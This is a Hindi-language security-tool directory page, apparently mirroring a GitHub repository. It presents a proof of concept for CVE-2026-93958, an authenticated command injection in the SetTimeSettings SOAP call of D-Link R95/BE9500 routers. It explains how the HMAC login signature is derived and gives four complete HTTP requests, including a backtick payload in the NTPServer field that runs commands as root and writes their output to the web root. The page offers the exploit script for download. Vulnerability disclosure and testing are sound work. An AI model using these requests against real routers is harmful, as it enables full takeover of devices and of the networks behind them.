Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-93958 — D-Link R95/BE9500 DHMAPI SetTimeSettings के लिए प्रमाणित कमांड इंजेक्शन PoC, जो NTPServer बैकटिक इंजेक्शन के माध्यम से root RCE प्राप्त करता है, पूर्ण exploit स्क्रिप्ट के साथ। | Kitploit
उपकरण/GitHubGitHub/hackspeak/cve-2026-93958
एम्बेडेड सिस्टम सुरक्षाIoT सुरक्षाभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलहार्डवेयर और IoT सुरक्षापेपर और शोध
GitHub
42720 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
hackspeak/cve-2026-93958

CVE-2026-93958

D-Link R95/BE9500 DHMAPI SetTimeSettings के लिए प्रमाणित कमांड इंजेक्शन PoC, जो NTPServer बैकटिक इंजेक्शन के माध्यम से root RCE प्राप्त करता है, पूर्ण exploit स्क्रिप्ट के साथ।

रिपॉजिटरी देखें

D-Link R95 BE9500 Wi-Fi 7 स्मार्ट राउटर

  • विक्रेता:D-Link
  • उत्पाद:R95
  • उत्पाद मॉडल:BE9500
  • फर्मवेयर संस्करण:1.01B06
  • भेद्यता प्रकार:प्रमाणित कमांड इंजेक्शन

विवरण

D-Link R95 BE9500 Wi-Fi 7 स्मार्ट राउटर (फर्मवेयर संस्करण BE9500_1.00.16) में DHMAPI (SOAP over HTTPS) इंटरफ़ेस में SetTimeSettings अनुरोधों को संसाधित करते समय एक कमांड इंजेक्शन भेद्यता मौजूद है। उपयोगकर्ता-नियंत्रित <NTPServer> फ़ील्ड को कॉन्फ़िगरेशन डेटाबेस में shell मेटाकैरेक्टर के किसी भी सैनिटाइज़ेशन या सत्यापन के बिना संग्रहीत किया जाता है। इसके बाद, जब कॉन्फ़िगरेशन को UCI (ntpclient.@ntpserver[0].hostname) में सिंक्रनाइज़ किया जाता है, तो भेद्य बैकएंड सेवा एक system()-जैसे कॉल के माध्यम से डबल कोट्स में संलग्न एक shell कमांड का निर्माण और निष्पादन करती है। <NTPServer> मान में बैकटिक्स (```) इंजेक्ट करके, एक हमलावर कमांड प्रतिस्थापन प्राप्त कर सकता है — shell संयोजित कमांड को निष्पादित करने से पहले इंजेक्ट की गई सामग्री का मूल्यांकन करता है, जिससे root (uid=0) विशेषाधिकारों के साथ मनमाना कमांड निष्पादन संभव हो जाता है।

इस हमले के लिए प्रमाणित पहुँच (व्यवस्थापक खाते Admin के साथ परीक्षण किया गया) के माध्यम से प्राप्त एक वैध वेब प्रबंधन सत्र (sid) की आवश्यकता होती है। यह भेद्यता डिवाइस के कमज़ोर डिफ़ॉल्ट क्रेडेंशियल्स या संभावित प्रमाणीकरण बायपास समस्याओं द्वारा और अधिक बढ़ जाती है, जिससे वास्तविक दुनिया का हमला सतह काफी बढ़ जाता है।

प्रभाव

एक प्रमाणित हमलावर root विशेषाधिकारों के साथ मनमाना कमांड निष्पादित कर सकता है, जिससे डिवाइस का पूर्ण समझौता हो जाता है — जिसमें संवेदनशील फ़ाइलें पढ़ना (जैसे, /etc/rg_config/admin सिफरटेक्स्ट, पूर्ण कॉन्फ़िगरेशन बैकअप डंप करना), स्थायी बैकडोर स्थापित करना, रिवर्स शेल स्थापित करना, और पार्श्व गति हमलों के लिए आंतरिक नेटवर्क में प्रवेश करना शामिल है।

भेद्यता विवरण

1. प्रभावित घटक और मूल कारण

भेद्यता वेब प्रबंधन बैकएंड बाइनरी /bin/ssi (जो root के रूप में चलती है) में निहित है, जो DHMAPI SOAP इंटरफ़ेस को लागू करती है।

टेंट स्रोत — SetTimeSettings हैंडलर (ssi में ऑफ़सेट 0x6bd84 पर फ़ंक्शन, फर्मवेयर 1.01B06):

  • SOAP अनुरोध से <NTPServer> फ़ील्ड को स्टैक बफ़र में निकालता है, लंबाई 0x3f (63 बाइट्स) तक सीमित — यह बफ़र-आकार की सीमा है, नहीं कि सुरक्षा जाँच।
  • मान को आंतरिक सेटर के माध्यम से आंतरिक कॉन्फ़िगरेशन कुंजी time.value.NTPServer में यथावत संग्रहीत करता है — किसी भी बिंदु पर shell मेटाकैरेक्टर की कोई फ़िल्टरिंग या एस्केपिंग नहीं की जाती है।

टेंट सिंक — UCI में कॉन्फ़िगरेशन सिंक्रनाइज़ेशन। ssi कॉन्फ़िगरेशन मानों को shell कमांड स्ट्रिंग्स में संयोजित करके सिंक्रनाइज़ करता है जिन्हें system()-जैसे कॉल के माध्यम से निष्पादित किया जाता है। बाइनरी में पाए गए एम्बेडेड फ़ॉर्मेट स्ट्रिंग्स में शामिल हैं:

uci set %s="%s" > /dev/null

चूँकि मान डबल कोट्स में लिपटा होता है, shell संयोजित कमांड चलाने से पहले मान के अंदर बैकटिक्स (`) / $() पर कमांड प्रतिस्थापन करता है। चूँकि ssi root के रूप में चलता है, इंजेक्ट किया गया कमांड root विशेषाधिकारों के साथ निष्पादित होता है।

समय संबंधी साक्ष्य पुष्टि करते हैं कि मूल्यांकन अनुरोध-प्रबंधन पथ के भीतर समकालिक रूप से होता है: `sleep 10` इंजेक्ट करने से HTTP प्रतिक्रिया ~10 सेकंड तक विलंबित हो जाती है। ज़हरीला मान इसके अतिरिक्त UCI (ntpclient.@ntpserver[0].hostname) में बना रहता है और बाद में /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME) द्वारा बिना कोट के उपभोग किया जाता है, जो एक द्वितीयक हार्डनिंग अंतराल है।

शोषण बाधाएँ (सत्यापित):

बाधासत्यापित परिणाम
फ़ील्ड लंबाई≤ 63 बाइट्स स्वीकृत; 60 बाइट्स ठीक, 80 बाइट्स अस्वीकृत (HTTP 400)
& वर्णउपस्थित नहीं होना चाहिए (संयोजित कमांड लाइन को तोड़ता है)
इंजेक्शन सिंटैक्सबैकटिक्स `cmd` सत्यापित; $(cmd) समान रूप से काम करने की अपेक्षा
निष्पादन संदर्भuid=0(root) gid=0(root)
आउटपुट चैनलकोई सीधा echo नहीं; वेब रूट पर रीडायरेक्ट (> /www/<file>) और HTTP GET के माध्यम से पुनः प्राप्त करें

2. प्रमाणीकरण पूर्वापेक्षा (API-AUTH योजना)

सभी DHMAPI अनुरोधों में निम्नलिखित होना चाहिए:

  • Cookie: uid=<session cookie> (लॉगिन से)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • SOAP क्रिया से मेल खाते API-ACTION / SOAPAction हेडर, साथ ही User-Agent और Referer (UA/Referer अनुपस्थित होने पर HTTP 400/500 मिलता है)
  • ts एक मिलीसेकंड टाइमस्टैम्प है; डिवाइस ताज़गी को मान्य नहीं करता, इसलिए एक निश्चित मान पुनः प्रयोग करने योग्य है

privkey व्युत्पत्ति:

  1. Login / Action=request (स्थिर कुंजी स्ट्रिंग withoutloginkey के साथ हस्ताक्षरित) Challenge, Cookie, PublicKey, SaltHash लौटाता है
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (या जब SaltHash अनुपस्थित हो तो सादा पासवर्ड)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. उपरोक्त के साथ Login / Action=login <LoginResult>success</LoginResult> लौटाता है; बाद के अनुरोध privkey के साथ हस्ताक्षरित Cookie: uid=<step-1 Cookie> का उपयोग करते हैं

3. प्रूफ़ ऑफ़ कॉन्सेप्ट

चरण 1 — लॉगिन अनुरोध (Challenge/Cookie/PublicKey/SaltHash प्राप्त करें)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

चरण 2 — लॉगिन (सत्र स्थापित करें)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

अपेक्षित: <LoginResult>success</LoginResult>।

image-20260823160951351

चरण 3 — कमांड इंजेक्शन (आउटपुट को वेब रूट में लिखें)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

चरण 4 — कमांड आउटपुट पुनः प्राप्त करें

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

देखा गया प्रतिक्रिया निकाय:

uid=0(root) gid=0(root)

image-20260823161234632

टूल डाउनलोड करें